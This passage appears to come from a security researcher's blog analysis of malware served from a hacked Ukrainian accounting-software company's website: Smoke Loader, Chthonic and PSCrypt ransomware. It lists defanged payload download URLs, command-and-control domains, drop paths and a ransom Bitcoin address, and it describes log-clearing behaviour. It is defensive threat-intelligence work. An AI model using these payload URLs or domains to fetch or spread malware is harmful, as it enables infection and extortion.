Figure 2 - archived webpage of CFM's services

Moving on to the malware present on their website:

Smoke Loader

Smoke Loader, also known as Dofoil, Sharik or just 'Smoke', is a botnet with the main purpose of downloading other malware - a downloader. 

Smoke Loader was originally downloaded from:

hXXp://cfm.com[.]ua/awstats/load.exe         

Additionally, it was also mirrored at:
hXXp://nolovenolivethiiswarinworld[.]com/ico/load.exe

Smoke Loader drops itself in a random directory inside the user's %appdata% folder, for example:
\AppData\Roaming\Microsoft\sfujsddu\

Additionally, it performs an HTTP POST request to the following domains:
contsernmayakinternacional[.]ru
soyuzinformaciiimexanikiops[.]com
kantslerinborisinafrolova[.]ru

SmokeLoader has a debug path which is likely fake, or automatically generated:
c:\backward\inch\enumeration\Atmel\neces.pdb

We won't go any further into Smoke Loader here, but there's an excellent blog post by @hasherazade over at Malwarebytes here:
Smoke Loader – downloader with a smokescreen still alive



Chthonic

Chthonic is a banking trojan and derivative of Zeus, well-known banking malware. Zeus, also known as Zbot, was leaked several years ago and has since then spawned multiple new, and often improved, banking trojans.

Chthonic uses a custom encryptor and, as a result, its payload hash will differ every time.

It was observed as a dropper from the following websites:

hXXp://nolovenolivethiiswarinworld[.]com/ico/load.exe

hXXp://crystalmind[.]ru/versionmaster/nova/load.exe         

Additionally, it drops its payload into the user's %appdata% folder; for example:
\AppData\Roaming\Microsoft\MicrosoftStart.exe

While Smoke Loader employs totally random filenames, Chthonic tries to hide by looking like a legitimate program.

It performs an HTTP POST request to the following domain:
nolovenolivethiiswarinworld[.]com

Interestingly enough, Chthonic was spotted in June targeting a government institution in Ukraine:
Chthonic Trojan is back in nation-state cyberattack against Ukraine

Whoever's behind this Chthonic campaign however, has a sense of humour by sporting the following debug path: C:\postmaster\merge\Peasants\Billy.pdb

Chthonic will also create a simple batch file which goes through a loop and will delete the dropper and the batch file once it has installed the payload.


PSCrypt

PSCrypt, which is based on GlobeImposter, another ransomware variant, has been hitting Ukraine in the past:
https://www.bleepingcomputer.com/news/security/before-notpetya-there-was-another-ransomware-that-targeted-ukraine-last-week/

Interestingly enough, the same PSCrypt campaign was spotted earlier this month by @malwarehunterteam:

Looks like PSCrypt actors started a new campaign targeting Ukraine in past 2 days...@BleepinComputer @demonslay335

— MalwareHunterTeam (@malwrhunterteam) August 16, 2017

This tweet suggests the attacks started as early as the 14th of August.

PSCrypt was originally downloaded from:

hXXp://cfm.com[.]ua/awstats/wload.exe         

PSCrypt will encrypt files and append an extension of .pscrypt - in order to restore your files, which asks for 3500 Hryvnia (~ EUR 115):

Figure 3 - PSCrypt ransom message

PSCrypt provides a fully detailed ransom message on how to send bitcoins to the cybercriminal, as well as a personal ID ("Ваш личный идентификатор"). The ransom note appears to have several spelling mistakes, and may not be original Ukrainian language.

Additionally, PSCrypt will remove RDP related files and registry keys, likely to prevent an administrator to clean an infected machine remotely. It will also clear all event logs using wevtutil:

Figure 4 - Batch file which goes through commands in sequential order

Whoever's behind this PSCrypt campaign also shows sign of humour, indicating an address in the US, pointing to a company called "Unlock files LLC". Such company does not exist:

Figure 5 - Unlock files LLC address

Figure 6 - Companies at the same address

Unfortunately, the Bitcoin address shows a history of already paid ransoms, dating back to the 15th of August: 1Gb4Pk85VKYngfDPy3X2tjYfzvU62oL

At time of writing, a total of 0.0924071 has been received, which is around EUR 328.

Since the first payment was on the 15th of August, this supports the theory of CFM's website being compromised at least before or on the 15th, quite possibly the 14th.

The general recommendation is to NOT pay, but rather restore files from a backup.



Conclusion

While Crystal Finance Millenium's website was hacked, it's possible its software was not affected. In the mean time, I'd advise to not upgrade or update any software belonging to the company, but rather wait for an official statement from their side.

The hacking of a company or personal website can always happen, and as such, it is important to act fast once it's happened - the (hosting) company did the right thing to take the website offline while things are being fixed in the background.

The bigger question here is if it may be a targeted attack - recently, Ukraine has been targeted heavily by not only EternalPetya (also known as NotPetya), but also by Xdata and PSCrypt. Additionally, seemingly targeted attacks had Chthonic as payload, and, as reported in this blog post, another software company in Ukraine has been compromised.

As usual, best is to wait until further data is available before making any judgments.

Prevention advise for ransomware can be found on my dedicated page about ranomware prevention:
https://bartblaze.blogspot.co.uk/p/ransomware-prevention.html

And, as always, indicators of compromise (IOCs) can be found below, as well as additional resources.



IOCs



Resources

New Cyberattack wave is launched using officialweb site of the accounting software developer«Crystal Finance Millennium» (PDF)
“Crystal Attack” analysis – behavior analysis of the “load.exe” sample (PDF)

Massive phishing scam Zeus banking Trojan